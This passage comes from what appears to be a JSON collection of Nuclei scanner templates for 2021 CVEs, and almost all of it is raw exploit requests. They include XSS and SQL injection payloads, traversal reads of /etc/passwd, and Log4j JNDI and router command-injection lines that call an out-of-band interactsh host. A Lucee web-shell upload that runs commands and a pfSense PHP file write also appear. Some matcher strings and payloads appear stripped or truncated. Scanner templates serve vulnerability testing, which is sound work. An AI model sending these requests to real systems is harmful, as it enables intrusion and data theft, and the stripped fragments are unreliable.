application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php/\">/?page=under-construction HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["action=\"/wp-admin/admin.php/\">","under-construction"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24300","info":{"name":"WordPress WooCommerce <1.13.22 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword=\"onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\\\"onmouseover=alert(document.domain);//\">","PickPlugins Product Slider"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24226","info":{"name":"AccessAlly <3.5.7 - Sensitive Information Leakage","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
([A-Za-z0-9]+)<\\/span>"],"internal":true,"part":"body"},{"type":"regex","name":"username","group":1,"regex":["ion: https:\\/\\/[a-z0-9.]+\\/author\\/([a-z]+)\\/"],"internal":true,"part":"header"}]}]},{"id":"CVE-2021-20091","info":{"name":"Buffalo WSR-2533DHPL2 - Configuration File Injection","severity":"high"},"requests":[{"raw":["GET /images/..%2finfo.html HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/info.html\n","POST /images/..%2fapply_abstract.cgi HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/info.html\nContent-Type: application/x-www-form-urlencoded\n\naction=start_ping&httoken={{trimprefix(base64_decode(httoken), base64_decode(\"R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"))}}&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["/Success.htm"]},{"type":"status","status":[302]}],"extractors":[{"type":"regex","name":"httoken","group":1,"regex":["base64\\,(.*?)\" border="],"internal":true}]}]},{"id":"CVE-2021-21985","info":{"name":"VMware vSphere Client (HTML5) - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\n"],"matchers":[{"type":"word","part":"body","words":["{\"result\":{\"isDisconnected\":"]}]}]},{"id":"CVE-2021-45422","info":{"name":"Reprise License Manager 14.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/goform/activate_process?isv=&akey=&hostid=&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\">\">)
"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-39211","info":{"name":"GLPI 9.2/<9.5.6 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax/telemetry.php","{{BaseURL}}/glpi/ajax/telemetry.php"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"uuid\":","\"glpi\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-1499","info":{"name":"Cisco HyperFlex HX Data Platform - Arbitrary File Upload","severity":"medium"},"requests":[{"raw":["POST /upload HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------253855577425106594691130420583\nOrigin: {{RootURL}}\nReferer: {{RootURL}}\n\n-----------------------------253855577425106594691130420583\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../tmp/passwd9\"\nContent-Type: application/json\n\nMyPasswdNewData->/api/tomcat\n\n-----------------------------253855577425106594691130420583--\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["{\"result\":","\"filename:","/tmp/passwd9"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-45046","info":{"name":"Apache Log4j2 - Remote Code Injection","severity":"critical"},"requests":[{"raw":["GET /?x=${jndi:ldap://127.0.0.1#.${hostName}.{{interactsh-url}}/a} HTTP/1.1\nHost: {{Hostname}}\nAccept: ${jndi:ldap://127.0.0.1#.${hostName}.accept.{{interactsh-url}}}\nAccept-Encoding: ${jndi:ldap://127.0.0.1#.${hostName}.acceptencoding.{{interactsh-url}}}\nAccept-Language: ${jndi:ldap://127.0.0.1#.${hostName}.acceptlanguage.{{interactsh-url}}}\nAccess-Control-Request-Headers: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}\nAccess-Control-Request-Method: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}\nAuthentication: Basic ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbasic.{{interactsh-url}}}\nAuthentication: Bearer ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbearer.{{interactsh-url}}}\nCookie: ${jndi:ldap://127.0.0.1#.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}\nLocation: ${jndi:ldap://127.0.0.1#.${hostName}.location.{{interactsh-url}}}\nOrigin: ${jndi:ldap://127.0.0.1#.${hostName}.origin.{{interactsh-url}}}\nReferer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.{{interactsh-url}}}\nUpgrade-Insecure-Requests: ${jndi:ldap://127.0.0.1#.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}\nUser-Agent: ${jndi:ldap://127.0.0.1#.${hostName}.useragent.{{interactsh-url}}}\nX-Api-Version: ${jndi:ldap://127.0.0.1#.${hostName}.xapiversion.{{interactsh-url}}}\nX-CSRF-Token: ${jndi:ldap://127.0.0.1#.${hostName}.xcsrftoken.{{interactsh-url}}}\nX-Druid-Comment: ${jndi:ldap://127.0.0.1#.${hostName}.xdruidcomment.{{interactsh-url}}}\nX-Forwarded-For: ${jndi:ldap://127.0.0.1#.${hostName}.xforwardedfor.{{interactsh-url}}}\nX-Origin: ${jndi:ldap://127.0.0.1#.${hostName}.xorigin.{{interactsh-url}}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"regex","part":"interactsh_request","regex":["\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+"]}],"extractors":[{"type":"kval","kval":["interactsh_ip"]},{"type":"regex","group":2,"regex":["\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+"]},{"type":"regex","group":1,"regex":["\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+"],"part":"interactsh_request"}]}]},{"id":"CVE-2021-22911","info":{"name":"Rocket.Chat <=3.13 - NoSQL Injection","severity":"critical"},"requests":[{"raw":["POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"message\": \"{\\\"msg\\\":\\\"method\\\", \\\"method\\\": \\\"getPasswordPolicy\\\", \\\"params\\\": [{\\\"token\\\": {\\\"$regex\\\": \\\"^{{randstr}}\\\"}}] }\"}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[error-invalid-user]","\"success\":true"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24169","info":{"name":"WordPress Advanced Order Export For WooCommerce <3.1.8 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=wc-order-export&tab= HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"\")","contains(body_2, \"woo-order-export-lite\")"],"condition":"and"}]}]},{"id":"CVE-2021-20150","info":{"name":"Trendnet AC2600 TEW-827DRU - Credentials Disclosure","severity":"medium"},"requests":[{"raw":["POST /apply_sec.cgi HTTP/1.1\nHost: {{Hostname}}\n\naction=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ftp_username","ftp_password","ftp_permission","TEW-827DRU"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"password","group":1,"regex":[""],"part":"body"}]}]},{"id":"CVE-2021-21800","info":{"name":"Advantech R-SeeNet 2.4.12 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SSH Session "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24435","info":{"name":"WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27","{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27","{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","regex":["(?i)(onerror=|onclick=)['\"]?alert\\(document\\.domain\\)['\"]?","

Grumpy wizards make"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20090","info":{"name":"Buffalo WSR-2533DHPL2 - Path Traversal","severity":"critical"},"requests":[{"raw":["GET /images/..%2finfo.html HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/info.html\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["URLToken(cgi_path)","pppoe","wan"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31195","info":{"name":"Microsoft Exchange Server - Cross-Site Scripting","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\\&refurl=}}};alert(document.domain)//"],"matchers-condition":"and","matchers":[{"type":"word","words":["alert(document.domain)//&et=ServerError","mail/bootr.ashx"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-40970","info":{"name":"Spotweb <= 1.5.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /install.php?page=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsettingsform[username]=pdteam'+onclick='alert(document.domain)\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onclick='alert(document.domain)","Spotweb"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25055","info":{"name":"WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21975","info":{"name":"vRealize Operations Manager API - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST /casa/nodes/thumbprints HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\n\n[\"127.0.0.1:443/ui/\"]\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["vRealize Operations Manager","thumbprint","address"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21307","info":{"name":"Lucee Admin - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nimgSrc=a\n","POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nimgSrc=\n\n\n\n\n\n\n\n
Command:value=\"#form.cmd#\">
Options: value=\"#form.opts#\">
Timeout: value=\"#form.timeout#\"\n value=\"5\">
\n\n\n\n\n\n\n\n

\n","POST /lucee/{{randstr}}.cfm HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nContent-Type: application/x-www-form-urlencoded\n\ncmd=id&opts=&timeout=5\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid=","gid=","groups="],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["(u|g)id=.*"]}]}]},{"id":"CVE-2021-40438","info":{"name":"Apache <= 2.4.48 - Mod_Proxy SSRF","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?unix:{{repeat(\"A\", 7701)}}|http://{{interactsh-url}}"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","words":["Interactsh Server"]},{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2021-41649","info":{"name":"PuneethReddyHC Online Shopping System homeaction.php SQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/homeaction.php"],"body":"cat_id=4'&get_seleted_Category=1","matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["Warning: mysqli_num_rows() expects parameter 1 to be","xdebug-error xe-warning"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22145","info":{"name":"Elasticsearch 7.10.0-7.13.3 - Information Disclosure","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/_bulk"],"body":"@\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["root_cause","truncated","reason"],"condition":"and"},{"type":"status","status":[400]}]}]},{"id":"CVE-2021-28164","info":{"name":"Eclipse Jetty - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%2e/WEB-INF/web.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","java.sun.com"],"condition":"and"},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41432","info":{"name":"FlatPress 1.2.1 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp\n\n------WebKitFormBoundarykGJmx9vKsePrMkVp\nContent-Disposition: form-data; name=\"user\"\n\n{{username}}\n------WebKitFormBoundarykGJmx9vKsePrMkVp\nContent-Disposition: form-data; name=\"pass\"\n\n{{password}}\n------WebKitFormBoundarykGJmx9vKsePrMkVp\nContent-Disposition: form-data; name=\"submit\"\n\nLogin\n------WebKitFormBoundarykGJmx9vKsePrMkVp--\n","GET /admin.php?p=entry&action=write HTTP/1.1\nHost: {{Hostname}}\n","POST /admin.php?p=entry&action=write HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd×tamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish\n","GET /index.php/2022/10 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_4, '
')","contains(body_4, 'FlatPress')","contains(header_4, 'text/html')","status_code_4 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-z]+)\" />"],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-39433","info":{"name":"BIQS IT Biqs-drive v1.83 Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/download/index.php?file=../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21402","info":{"name":"Jellyfin <10.7.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/","{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Content-Type: application/octet-stream"]},{"type":"regex","part":"body","regex":["\\[(font|extension|file)s\\]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27314","info":{"name":"Doctor Appointment System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /admin/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&password=test&submit=\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"Doctor Appoinment System\")"],"condition":"and"}]}]},{"id":"CVE-2021-46073","info":{"name":"Vehicle Service Management System 1.0 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /vehicle_service/classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{username}}&password={{password}}\n","POST /vehicle_service/classes/Users.php?f=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfirstname=test1%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&lastname=test&username=test&password=test&type=1\n","GET /vehicle_service/admin/?page=user/list HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_3, 'text/html')","status_code_3 == 200","contains(body_3, \" Test\")"],"condition":"and"}]}]},{"id":"CVE-2021-40969","info":{"name":"Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)","severity":"medium"},"requests":[{"raw":["POST /install.php?page=4 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsettingsform[firstname]=pdteam'+onclick='alert(document.domain)\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onclick='alert(document.domain)","Spotweb"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-37538","info":{"name":"PrestaShop SmartBlog <4.0.6- SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/module/smartblog/archive?month=1&year=1&day=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20MD5(55555)),NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20-"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["c5fe25896e49ddfe996db7508cf00534"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21805","info":{"name":"Advantech R-SeeNet 2.4.12 - OS Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/ping.php?hostname=|dir"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Ping |dir","bottom.php"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-43287","info":{"name":"Pre-Auth Takeover of Build Pipelines in GoCD","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24145","info":{"name":"WordPress Modern Events Calendar Lite <5.16.5 - Authenticated Arbitrary File Upload","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","POST /wp-admin/admin.php?page=MEC-ix&tab=MEC-import HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nContent-Type: multipart/form-data; boundary=---------------------------132370916641787807752589698875\n\n-----------------------------132370916641787807752589698875\nContent-Disposition: form-data; name=\"feed\"; filename=\"{{randstr}}.php\"\nContent-Type: text/csv\n\n\n\n-----------------------------132370916641787807752589698875\nContent-Disposition: form-data; name=\"mec-ix-action\"\n\nimport-start-bookings\n-----------------------------132370916641787807752589698875--\n","GET /wp-content/uploads/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_3, 'CVE-2021-24145')"],"condition":"and"}]}]},{"id":"CVE-2021-26812","info":{"name":"Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["alert(document.domain);"]},{"type":"word","part":"header","words":["MoodleSession"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31755","info":{"name":"Tenda Router AC11 - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /goform/setmac HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/index.htmlr\nContent-Type: application/x-www-form-urlencoded\n\nmodule1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2021-24488","info":{"name":"WordPress Post Grid <2.1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword=\"onmouseover=alert(document.domain)// HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\\\"onmouseover=alert(document.domain)/\">","Post Grid"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24340","info":{"name":"WordPress Statistics <13.0.8 - Blind SQL Injection","severity":"high"},"requests":[{"raw":["GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 15s\nGET /wp-admin/admin.php?page=wps_pages_page&ID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))test)&type=home HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_1 == 200","contains(body_1, \"WP Statistics\")"],"condition":"and"},{"type":"dsl","dsl":["duration_2>=7","status_code_2 == 500","contains(body_2, \">WordPress › Error<\") && contains(body_2, \">Your request is not valid.<\")"],"condition":"and"}]}]},{"id":"CVE-2021-44077","info":{"name":"Zoho ManageEngine ServiceDesk Plus - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/RestAPI/ImportTechnicians"],"matchers-condition":"and","matchers":[{"type":"word","words":["
"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25104","info":{"name":"WordPress Ocean Extra <1.9.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/?step=demo&page=owp_setup&a\">   HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["OceanWP",">"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41282","info":{"name":"pfSense - Arbitrary File Write","severity":"high"},"requests":[{"raw":["GET /index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n__csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=\n","GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\\x3c\\x3fphp+var_dump(md5(\\x27CVE-2021-41282\\x27));unlink(__FILE__)\\x3b\\x3f\\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1\nHost: {{Hostname}}\n","GET /test.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["contains(body, 'c3959e8a43f1b39b0d1255961685a238')","status_code==200"],"condition":"and"}],"extractors":[{"type":"regex","name":"csrf_token","group":1,"regex":["(sid:[a-z0-9,;:]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-25281","info":{"name":"SaltStack Salt <3002.5 - Auth Bypass","severity":"critical"},"requests":[{"raw":["POST /run HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"client\":\"wheel_async\",\"fun\":\"pillar_roots.write\",\"data\":\"testing\",\"path\":\"../../../../../../../tmp/testing\",\"username\":\"1\",\"password\":\"1\",\"eauth\":\"pam\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["return","tag","jid","salt","wheel"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42667","info":{"name":"Online Event Booking and Reservation System 2.3.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nname={{username}}&pwd={{password}}\n","GET 